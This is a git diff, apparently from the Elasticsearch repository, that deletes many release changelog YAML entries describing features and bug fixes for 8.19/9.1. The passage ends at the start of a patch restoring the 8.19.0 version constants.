diff --git a/docs/changelog/128504.yaml b/docs/changelog/128504.yaml
deleted file mode 100644
index 7b451d27520aa..0000000000000
--- a/docs/changelog/128504.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128504
-summary: Add l2_norm normalization support to linear retriever
-area: Relevance
-type: enhancement
-issues: []
diff --git a/docs/changelog/128509.yaml b/docs/changelog/128509.yaml
deleted file mode 100644
index 2c51b4b684583..0000000000000
--- a/docs/changelog/128509.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128509
-summary: Use default Lucene postings format when index mode is standard.
-area: Codec
-type: enhancement
-issues: []
diff --git a/docs/changelog/128519.yaml b/docs/changelog/128519.yaml
deleted file mode 100644
index 20352e7102e98..0000000000000
--- a/docs/changelog/128519.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128519
-summary: Add support for LOOKUP JOIN on aliases
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128538.yaml b/docs/changelog/128538.yaml
deleted file mode 100644
index bd4ab34ce2dca..0000000000000
--- a/docs/changelog/128538.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128538
-summary: "Added Mistral Chat Completion support to the Inference Plugin"
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/128584.yaml b/docs/changelog/128584.yaml
deleted file mode 100644
index e5e380559786d..0000000000000
--- a/docs/changelog/128584.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128584
-summary: '`InferenceService` support aliases'
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/128613.yaml b/docs/changelog/128613.yaml
deleted file mode 100644
index 4d5d7bba03544..0000000000000
--- a/docs/changelog/128613.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128613
-summary: Improve support for bytecode patching signed jars
-area: Infra/Core
-type: enhancement
-issues: []
diff --git a/docs/changelog/128615.yaml b/docs/changelog/128615.yaml
deleted file mode 100644
index 9270c701c1bec..0000000000000
--- a/docs/changelog/128615.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128615
-summary: Fix and test off-heap stats when using direct IO for accessing the raw vectors
-area: Vector Search
-type: bug
-issues: []
diff --git a/docs/changelog/128635.yaml b/docs/changelog/128635.yaml
deleted file mode 100644
index 19a1dd0404ce1..0000000000000
--- a/docs/changelog/128635.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128635
-summary: Add `state` query param to Get snapshots API
-area: Snapshot/Restore
-type: enhancement
-issues:
- - 97446
diff --git a/docs/changelog/128653.yaml b/docs/changelog/128653.yaml
deleted file mode 100644
index 6ecf29a22fbc2..0000000000000
--- a/docs/changelog/128653.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128653
-summary: Add retry for `AccessDeniedException` in `AbstractFileWatchingService`
-area: Infra/Settings
-type: bug
-issues: []
diff --git a/docs/changelog/128694.yaml b/docs/changelog/128694.yaml
deleted file mode 100644
index 031bec11899e5..0000000000000
--- a/docs/changelog/128694.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128694
-summary: "Adding Google VertexAI completion integration"
-area: Inference
-type: enhancement
-issues: [ ]
diff --git a/docs/changelog/128735.yaml b/docs/changelog/128735.yaml
deleted file mode 100644
index 33ea2e4e97d91..0000000000000
--- a/docs/changelog/128735.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128735
-summary: Add option to include or exclude vectors from `_source` retrieval
-area: Vector Search
-type: feature
-issues: []
diff --git a/docs/changelog/128736.yaml b/docs/changelog/128736.yaml
deleted file mode 100644
index 6139acfd9fd4f..0000000000000
--- a/docs/changelog/128736.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128736
-summary: Add `index.lifecycle.skip` index-scoped setting to instruct ILM to skip processing specific indices
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/128737.yaml b/docs/changelog/128737.yaml
deleted file mode 100644
index 5a710d4f836f5..0000000000000
--- a/docs/changelog/128737.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 128737
-summary: React more prompty to task cancellation while waiting for the cluster to
-  unblock
-area: Task Management
-type: enhancement
-issues:
- - 117971
diff --git a/docs/changelog/128746.yaml b/docs/changelog/128746.yaml
deleted file mode 100644
index 028713ada4828..0000000000000
--- a/docs/changelog/128746.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128746
-summary: Fix computation of last block size in Azure concurrent multipart uploads
-area: Snapshot/Restore
-type: bug
-issues: []
diff --git a/docs/changelog/128750.yaml b/docs/changelog/128750.yaml
deleted file mode 100644
index 55971accbcb37..0000000000000
--- a/docs/changelog/128750.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 128750
-summary: Fix conversion of a Lucene wildcard pattern to a regexp
-area: ES|QL
-type: bug
-issues:
- - 128677
- - 128676
diff --git a/docs/changelog/128788.yaml b/docs/changelog/128788.yaml
deleted file mode 100644
index e88444c67a1b3..0000000000000
--- a/docs/changelog/128788.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 105773
-summary: Inject an unfollow action before executing a downsample action in ILM
-area: ILM+SLM
-type: bug
-issues:
- - 105773
diff --git a/docs/changelog/128798.yaml b/docs/changelog/128798.yaml
deleted file mode 100644
index d763b4d726458..0000000000000
--- a/docs/changelog/128798.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128798
-summary: Add transport version support for IDP_CUSTOM_SAML_ATTRIBUTES_ADDED_8_19
-area: IdentityProvider
-type: enhancement
-issues: []
diff --git a/docs/changelog/128805.yaml b/docs/changelog/128805.yaml
deleted file mode 100644
index 6236649e17aa8..0000000000000
--- a/docs/changelog/128805.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128805
-summary: Add "extension" attribute validation to IdP SPs
-area: IdentityProvider
-type: enhancement
-issues: []
diff --git a/docs/changelog/128848.yaml b/docs/changelog/128848.yaml
deleted file mode 100644
index a928206d5568d..0000000000000
--- a/docs/changelog/128848.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128848
-summary: Add `bucketedSort` based on int
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/128854.yaml b/docs/changelog/128854.yaml
deleted file mode 100644
index 65ef8829e4418..0000000000000
--- a/docs/changelog/128854.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-pr: 128854
-summary: Mark token pruning for sparse vector as GA
-area: Machine Learning
-type: feature
-issues: []
-highlight:
-  title: Mark Token Pruning for Sparse Vector as GA
-  body: |-
-    Token pruning for sparse_vector queries has been live since 8.13 as tech preview.
-    As of 8.19.0 and 9.1.0, this is now generally available.
-  notable: true
diff --git a/docs/changelog/128858.yaml b/docs/changelog/128858.yaml
deleted file mode 100644
index 41c13e8c34ad8..0000000000000
--- a/docs/changelog/128858.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128858
-summary: Fix unsupported privileges error message during role and API key crea…
-area: Authorization
-type: enhancement
-issues:
- - 128132
diff --git a/docs/changelog/128870.yaml b/docs/changelog/128870.yaml
deleted file mode 100644
index dbeee3c7b74ce..0000000000000
--- a/docs/changelog/128870.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128870
-summary: Check `TooComplex` exception for `HasPrivileges` body
-area: Authorization
-type: enhancement
-issues: []
diff --git a/docs/changelog/128895.yaml b/docs/changelog/128895.yaml
deleted file mode 100644
index a1487e47ebd36..0000000000000
--- a/docs/changelog/128895.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128895
-summary: Workaround for RLike handling of empty lang pattern
-area: ES|QL
-type: bug
-issues:
- - 128813
diff --git a/docs/changelog/128913.yml b/docs/changelog/128913.yml
deleted file mode 100644
index 623897bb272a1..0000000000000
--- a/docs/changelog/128913.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128913
-summary: "[apm-data] Enable 'date_detection' for all apm data streams"
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/128914.yaml b/docs/changelog/128914.yaml
deleted file mode 100644
index e2e9eed6558af..0000000000000
--- a/docs/changelog/128914.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128914
-summary: Make Adaptive Allocations Scale to Zero configurable and set default to 24h
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/128925.yaml b/docs/changelog/128925.yaml
deleted file mode 100644
index dd41f7366ddd1..0000000000000
--- a/docs/changelog/128925.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128925
-summary: ES|QL - Add `match_phrase` full text function (tech preview)
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128948.yaml b/docs/changelog/128948.yaml
deleted file mode 100644
index a922104757083..0000000000000
--- a/docs/changelog/128948.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128948
-summary: ES|QL - Add COMPLETION command as a tech preview feature
-area: ES|QL
-type: feature
-issues:
-- 124405
diff --git a/docs/changelog/128986.yaml b/docs/changelog/128986.yaml
deleted file mode 100644
index 3b3e734536817..0000000000000
--- a/docs/changelog/128986.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128986
-summary: Improve execution of terms queries over wildcard fields
-area: Search
-type: bug
-issues:
- - 128201
diff --git a/docs/changelog/129074.yaml b/docs/changelog/129074.yaml
deleted file mode 100644
index 94e60079ea510..0000000000000
--- a/docs/changelog/129074.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129074
-summary: "[apm-data] Set `event.dataset` if empty for logs"
-area: Data streams
-type: bug
-issues: []
diff --git a/docs/changelog/129089.yaml b/docs/changelog/129089.yaml
deleted file mode 100644
index cd7c553026eea..0000000000000
--- a/docs/changelog/129089.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129089
-summary: Update `sparse_vector` field mapping to include default setting for token pruning
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/129122.yaml b/docs/changelog/129122.yaml
deleted file mode 100644
index eaed27e326c0f..0000000000000
--- a/docs/changelog/129122.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129122
-summary: Update ecs@mappings.json with new GenAI fields
-area: Data streams
-type: feature
-issues: []
diff --git a/docs/changelog/129126.yaml b/docs/changelog/129126.yaml
deleted file mode 100644
index b719af9892ba3..0000000000000
--- a/docs/changelog/129126.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129126
-summary: "Synthetic source: avoid storing multi fields of type text and `match_only_text`\
-  \ by default"
-area: Mapping
-type: bug
-issues: []
diff --git a/docs/changelog/129128.yaml b/docs/changelog/129128.yaml
deleted file mode 100644
index 0bd52d4a6f86f..0000000000000
--- a/docs/changelog/129128.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129128
-summary: Add RemoveBlock API to allow `DELETE /{index}/_block/{block}`
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/129140.yaml b/docs/changelog/129140.yaml
deleted file mode 100644
index e7ee59122c34f..0000000000000
--- a/docs/changelog/129140.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129140
-summary: Increment inference stats counter for shard bulk inference calls
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/129150.yaml b/docs/changelog/129150.yaml
deleted file mode 100644
index 5e53f6f6a9171..0000000000000
--- a/docs/changelog/129150.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129150
-summary: Add `none` chunking strategy to disable automatic chunking for inference
-  endpoints
-area: Machine Learning
-type: feature
-issues: []
diff --git a/docs/changelog/129161.yaml b/docs/changelog/129161.yaml
deleted file mode 100644
index a871fff01c9d7..0000000000000
--- a/docs/changelog/129161.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129161
-summary: Add Telemetry for models without adaptive allocations
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/129164.yaml b/docs/changelog/129164.yaml
deleted file mode 100644
index 0d16fdf1b239e..0000000000000
--- a/docs/changelog/129164.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129164
-summary: Log partial failures
-area: ES|QL
-type: feature
-issues: []
diff --git a/docs/changelog/129170.yaml b/docs/changelog/129170.yaml
deleted file mode 100644
index 540dc5a50994d..0000000000000
--- a/docs/changelog/129170.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129170
-summary: Add Support for LIKE (LIST)
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/129181.yaml b/docs/changelog/129181.yaml
deleted file mode 100644
index b19c2c8c32c30..0000000000000
--- a/docs/changelog/129181.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129181
-summary: Add Cluster Feature for L2 Norm
-area: "Search"
-type: bug
-issues: []
diff --git a/docs/changelog/129200.yaml b/docs/changelog/129200.yaml
deleted file mode 100644
index c657283682c4e..0000000000000
--- a/docs/changelog/129200.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129200
-summary: Simplified Linear Retriever
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/129245.yaml b/docs/changelog/129245.yaml
deleted file mode 100644
index 1a05e4340b4b3..0000000000000
--- a/docs/changelog/129245.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129245
-summary: Throttle indexing when disk IO throttling is disabled
-area: Engine
-type: enhancement
-issues: []
diff --git a/docs/changelog/129278.yaml b/docs/changelog/129278.yaml
deleted file mode 100644
index 567fc9e5696f0..0000000000000
--- a/docs/changelog/129278.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129278
-summary: Fix constant keyword optimization
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/129282.yaml b/docs/changelog/129282.yaml
deleted file mode 100644
index 75e56899ee23e..0000000000000
--- a/docs/changelog/129282.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129282
-summary: "Fix query rewrite logic to preserve `boosts` and `queryName` for `match`,\
-  \ `knn`, and `sparse_vector` queries on semantic_text fields"
-area: Search
-type: bug
-issues: []
diff --git a/docs/changelog/129302.yaml b/docs/changelog/129302.yaml
deleted file mode 100644
index 061fb34ab28ba..0000000000000
--- a/docs/changelog/129302.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129302
-summary: Move HTTP content aggregation from Netty into `RestController`
-area: Network
-type: enhancement
-issues:
- - 120746
diff --git a/docs/changelog/129326.yaml b/docs/changelog/129326.yaml
deleted file mode 100644
index eb6bb3907bc50..0000000000000
--- a/docs/changelog/129326.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129326
-summary: Check positions on `MultiPhraseQueries` as well as phrase queries
-area: Search
-type: bug
-issues:
- - 123871
diff --git a/docs/changelog/129359.yaml b/docs/changelog/129359.yaml
deleted file mode 100644
index 9b1f6234d6579..0000000000000
--- a/docs/changelog/129359.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129359
-summary: Add min score linear retriever
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/129367.yaml b/docs/changelog/129367.yaml
deleted file mode 100644
index a8e466158999e..0000000000000
--- a/docs/changelog/129367.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129367
-summary: Run `TransportGetStatusAction` on local node
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/129413.yaml b/docs/changelog/129413.yaml
deleted file mode 100644
index 505b627c42b16..0000000000000
--- a/docs/changelog/129413.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129413
-summary: '`SageMaker` Elastic Payload'
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/129440.yaml b/docs/changelog/129440.yaml
deleted file mode 100644
index f4999f8c627d3..0000000000000
--- a/docs/changelog/129440.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129440
-summary: Fix filtered knn vector search when query timeouts are enabled
-area: Vector Search
-type: bug
-issues: []
diff --git a/docs/changelog/129454.yaml b/docs/changelog/129454.yaml
deleted file mode 100644
index 538c5266c6162..0000000000000
--- a/docs/changelog/129454.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129454
-summary: Aggressive release of shard contexts
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/129455.yaml b/docs/changelog/129455.yaml
deleted file mode 100644
index 688dcc1bc04df..0000000000000
--- a/docs/changelog/129455.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129455
-summary: Prevent ILM from processing shrunken index before its execution state is copied over
-area: ILM+SLM
-type: bug
-issues:
- - 109206
diff --git a/docs/changelog/129503.yaml b/docs/changelog/129503.yaml
deleted file mode 100644
index f91c08cd487e2..0000000000000
--- a/docs/changelog/129503.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129503
-summary: Pushdown Lookup Join past Project
-area: ES|QL
-type: enhancement
-issues:
- - 119082
diff --git a/docs/changelog/129507.yaml b/docs/changelog/129507.yaml
deleted file mode 100644
index fa555433c34d6..0000000000000
--- a/docs/changelog/129507.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129507
-summary: Using a temp `IndexService` for template validation
-area: Indices APIs
-type: bug
-issues:
- - 129473
diff --git a/docs/changelog/129509.yaml b/docs/changelog/129509.yaml
deleted file mode 100644
index 859ad837a3c8d..0000000000000
--- a/docs/changelog/129509.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129509
-summary: Fix NPE in `SemanticTextHighlighter`
-area: Search
-type: bug
-issues:
- - 129501
diff --git a/docs/changelog/129546.yaml b/docs/changelog/129546.yaml
deleted file mode 100644
index 8cb57d8747925..0000000000000
--- a/docs/changelog/129546.yaml
+++ /dev/null
@@ -1,13 +0,0 @@
-pr: 129546
-summary: Upgrade to Lucene 10.2.2
-area: Search
-type: upgrade
-issues: []
-highlight:
-  title: Upgrade to lucene 10.2.2
-  body: |-
-    * Reduce NeighborArray on-heap memory during HNSW graph building
-    * Fix IndexSortSortedNumericDocValuesRangeQuery for integer sorting
-    * ValueSource.fromDoubleValuesSource(dvs).getSortField() would throw errors when used if the DoubleValuesSource needed scores
-    ----
-  notable: true
diff --git a/docs/changelog/129557.yaml b/docs/changelog/129557.yaml
deleted file mode 100644
index 99afe8e45b439..0000000000000
--- a/docs/changelog/129557.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129557
-summary: Pushdown for LIKE (LIST)
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/129606.yaml b/docs/changelog/129606.yaml
deleted file mode 100644
index a3cd10626bc06..0000000000000
--- a/docs/changelog/129606.yaml
+++ /dev/null
@@ -1,35 +0,0 @@
-pr: 129606
-summary: Release FORK in tech preview
-area: ES|QL
-type: feature
-issues: []
-highlight:
-  title: Release FORK in tech preview
-  body: |-
-    Fork is a foundational building block that allows multiple branches of execution.
-    Conceptually, fork is:
-    - a bifurcation of the stream, with all data going to each fork branch, followed by
-    - a merge of the branches, enhanced with a discriminator column called FORK:
-
-    Example:
-
-    [source,yaml]
-    ----------------------------
-    FROM test
-    | FORK
-    ( WHERE content:"fox" )
-    ( WHERE content:"dog" )
-    | SORT _fork
-    ----------------------------
-
-    The FORK command add a discriminator column called `_fork`:
-
-    [source,yaml]
-    ----------------------------
-    | id  | content   | _fork |
-    |-----|-----------|-------|
-    | 3   | brown fox | fork1 |
-    | 4   | white dog | fork2 |
-    ----------------------------
-
-  notable: true
diff --git a/docs/changelog/129647.yaml b/docs/changelog/129647.yaml
deleted file mode 100644
index eec287179e294..0000000000000
--- a/docs/changelog/129647.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129647
-summary: Fix `PushQueriesIT.testLike()` fails
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/129657.yaml b/docs/changelog/129657.yaml
deleted file mode 100644
index 95fc3f8cd24d0..0000000000000
--- a/docs/changelog/129657.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129657
-summary: Fix `PushQueryIT#testEqualityOrTooBig`
-area: ES|QL
-type: bug
-issues:
- - 129545
diff --git a/docs/changelog/129659.yaml b/docs/changelog/129659.yaml
deleted file mode 100644
index 60fce08d58398..0000000000000
--- a/docs/changelog/129659.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129659
-summary: Simplified RRF Retriever
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/129738.yaml b/docs/changelog/129738.yaml
deleted file mode 100644
index 38a33b5aefb3f..0000000000000
--- a/docs/changelog/129738.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129738
-summary: Watch SSL files instead of directories
-area: TLS
-type: bug
-issues: []
diff --git a/docs/changelog/129745.yaml b/docs/changelog/129745.yaml
deleted file mode 100644
index 35cfd0671bd64..0000000000000
--- a/docs/changelog/129745.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129745
-summary: "ESQL: Fix `mv_expand` inconsistent column order"
-area: ES|QL
-type: bug
-issues:
-  - 129000
diff --git a/docs/changelog/129884.yaml b/docs/changelog/129884.yaml
deleted file mode 100644
index a3ae373f2dbd0..0000000000000
--- a/docs/changelog/129884.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129884
-summary: Move to the Cohere V2 API for new inference endpoints
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/129962.yaml b/docs/changelog/129962.yaml
deleted file mode 100644
index dd06742a74791..0000000000000
--- a/docs/changelog/129962.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129962
-summary: Simplified Linear & RRF Retrievers - Return error on empty fields param
-area: Search
-type: bug
-issues: []
diff --git a/docs/changelog/130032.yaml b/docs/changelog/130032.yaml
deleted file mode 100644
index 69140cdc3f83c..0000000000000
--- a/docs/changelog/130032.yaml
+++ /dev/null
@@ -1,12 +0,0 @@
-pr: 130032
-summary: ES|QL cross-cluster querying is now generally available
-area: ES|QL
-type: feature
-issues: []
-highlight:
-  title: ES|QL cross-cluster querying is now generally available
-  body: |-
-    The ES|QL Cross-Cluster querying feature has been in technical preview since 8.13.
-    As of releases 8.19.0 and 9.1.0 this is now generally available.
-    This feature allows you to run ES|QL queries across multiple clusters.
-  notable: true
diff --git a/docs/changelog/130158.yaml b/docs/changelog/130158.yaml
deleted file mode 100644
index ffacbcfc740ef..0000000000000
--- a/docs/changelog/130158.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130158
-summary: Handle unavailable MD5 in ES|QL
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/130221.yaml b/docs/changelog/130221.yaml
deleted file mode 100644
index 607a76f7dbf41..0000000000000
--- a/docs/changelog/130221.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130221
-summary: Fix incorrect accounting of semantic text indexing memory pressure
-area: Distributed
-type: bug
-issues: []
diff --git a/docs/changelog/130308.yaml b/docs/changelog/130308.yaml
deleted file mode 100644
index f9386593744f1..0000000000000
--- a/docs/changelog/130308.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130308
-summary: Force niofs for fdt tmp file read access when flushing stored fields
-area: Logs
-type: bug
-issues: []
diff --git a/docs/changelog/130344.yaml b/docs/changelog/130344.yaml
deleted file mode 100644
index 7584b9cd4f21f..0000000000000
--- a/docs/changelog/130344.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130344
-summary: "Fix queries with missing index, `skip_unavailable` and filters"
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/130421.yaml b/docs/changelog/130421.yaml
deleted file mode 100644
index ffabb405f6633..0000000000000
--- a/docs/changelog/130421.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130421
-summary: Support avg on aggregate metric double
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/130427.yaml b/docs/changelog/130427.yaml
deleted file mode 100644
index 1727a8d2c4f27..0000000000000
--- a/docs/changelog/130427.yaml
+++ /dev/null
@@ -1,17 +0,0 @@
-pr: 130427
-summary: Disallow brackets in unquoted index patterns
-area: ES|QL
-type: breaking
-issues:
-  - 130378
-breaking:
-  title: Unquoted index patterns do not allow `(` and `)` characters
-  area: ES|QL
-  details: >-
-    Previously, ES|QL accepted unquoted index patterns containing brackets, such as `FROM index(1) | ENRICH policy(2)`.
-
-    This query syntax is no longer valid because it could conflict with subquery syntax, where brackets are used as delimiters.
-
-    Brackets are now only allowed in quoted index patterns. For example: `FROM "index(1)" | ENRICH "policy(2)"`.
-  impact: "This affects existing queries containing brackets in index or policy names, i.e. in FROM, ENRICH, and LOOKUP JOIN commands."
-  notable: false
diff --git a/docs/changelog/130638.yaml b/docs/changelog/130638.yaml
deleted file mode 100644
index c32f0269aab09..0000000000000
--- a/docs/changelog/130638.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 130638
-summary: Prevent search functions work with a non-STANDARD index
-area: ES|QL
-type: bug
-issues:
- - 130561
- - 129778
diff --git a/docs/changelog/130849.yaml b/docs/changelog/130849.yaml
deleted file mode 100644
index 6dcc5908f7fb1..0000000000000
--- a/docs/changelog/130849.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 130849
-summary: Fix behavior for `_index` LIKE for ESQL
-area: ES|QL
-type: bug
-issues:
- - 129511
diff --git a/docs/changelog/130914.yaml b/docs/changelog/130914.yaml
deleted file mode 100644
index da38b52e5f879..0000000000000
--- a/docs/changelog/130914.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 130914
-summary: Fix LIMIT NPE with null value
-area: ES|QL
-type: bug
-issues:
- - 130908
diff --git a/docs/changelog/131015.yaml b/docs/changelog/131015.yaml
deleted file mode 100644
index 91e0519e88ec6..0000000000000
--- a/docs/changelog/131015.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131015
-summary: Move streams status actions to cluster:monitor group
-area: Data streams
-type: bug
-issues: []
diff --git a/docs/changelog/131050.yaml b/docs/changelog/131050.yaml
deleted file mode 100644
index f8c932b464dba..0000000000000
--- a/docs/changelog/131050.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131050
-summary: Upgrade AWS Java SDK to 2.31.78
-area: "Snapshot/Restore"
-type: upgrade
-issues: []
-
diff --git a/docs/changelog/131236.yaml b/docs/changelog/131236.yaml
deleted file mode 100644
index 13e3190098404..0000000000000
--- a/docs/changelog/131236.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131236
-summary: Correctly handling `download_database_on_pipeline_creation` within a pipeline
-  processor within a default or final pipeline
-area: Ingest Node
-type: bug
-issues: []
diff --git a/docs/changelog/131391.yaml b/docs/changelog/131391.yaml
deleted file mode 100644
index acac2a5f4da96..0000000000000
--- a/docs/changelog/131391.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131391
-summary: Fix bug in point in time response
-area: Search
-type: bug
-issues:
- - 131026
diff --git a/docs/changelog/131426.yaml b/docs/changelog/131426.yaml
deleted file mode 100644
index 4f79415ba069d..0000000000000
--- a/docs/changelog/131426.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131426
-summary: Disallow remote enrich after lu join
-area: ES|QL
-type: bug
-issues:
- - 129372
diff --git a/docs/changelog/131525.yaml b/docs/changelog/131525.yaml
deleted file mode 100644
index 233c4ff643643..0000000000000
--- a/docs/changelog/131525.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 131525
-summary: Fix semantic highlighting bug on flat quantized fields
-area: Highlighting
-type: bug
-issues:
- - 131443
diff --git a/docs/changelog/131541.yaml b/docs/changelog/131541.yaml
deleted file mode 100644
index 5c658c194385a..0000000000000
--- a/docs/changelog/131541.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131541
-summary: Added Sample operator `NamedWritable` to plugin
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/131630.yaml b/docs/changelog/131630.yaml
deleted file mode 100644
index 4f172ce7bae43..0000000000000
--- a/docs/changelog/131630.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131630
-summary: Fix memory usage estimation for ELSER models
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/131677.yaml b/docs/changelog/131677.yaml
deleted file mode 100644
index 5c707a44ebe0f..0000000000000
--- a/docs/changelog/131677.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131677
-summary: Throw better exception if verifying empty repo
-area: Snapshot/Restore
-type: bug
-issues: []
diff --git a/docs/changelog/131711.yaml b/docs/changelog/131711.yaml
deleted file mode 100644
index f10b3663c8e5f..0000000000000
--- a/docs/changelog/131711.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 131711
-summary: Track & log when there is insufficient disk space available to execute merges
-area: Engine
-type: enhancement
-issues: []

From 06062cdf0f5532ccb293202246916b4ada963275 Mon Sep 17 00:00:00 2001
From: Ryan Ernst <ryan@iernst.net>
Date: Wed, 30 Jul 2025 07:58:28 -0700
Subject: [PATCH 260/299] Restore 8.19.0 in constants and build (#132139)
 (#132192)

---
 .buildkite/pipelines/intake.yml               |  2 +-
 .buildkite/pipelines/periodic-packaging.yml   | 16 +++++++++++++
 .buildkite/pipelines/periodic.yml             | 23 +++++++++++++++++--
 .ci/bwcVersions                               |  1 +
 .ci/snapshotBwcVersions                       |  1 +
 .../main/java/org/elasticsearch/Version.java  |  1 +
 6 files changed, 41 insertions(+), 3 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 9fb07ef82c1d1..985c44566c8c2 100644
--- a/.buildkite/pipelines/intake.yml
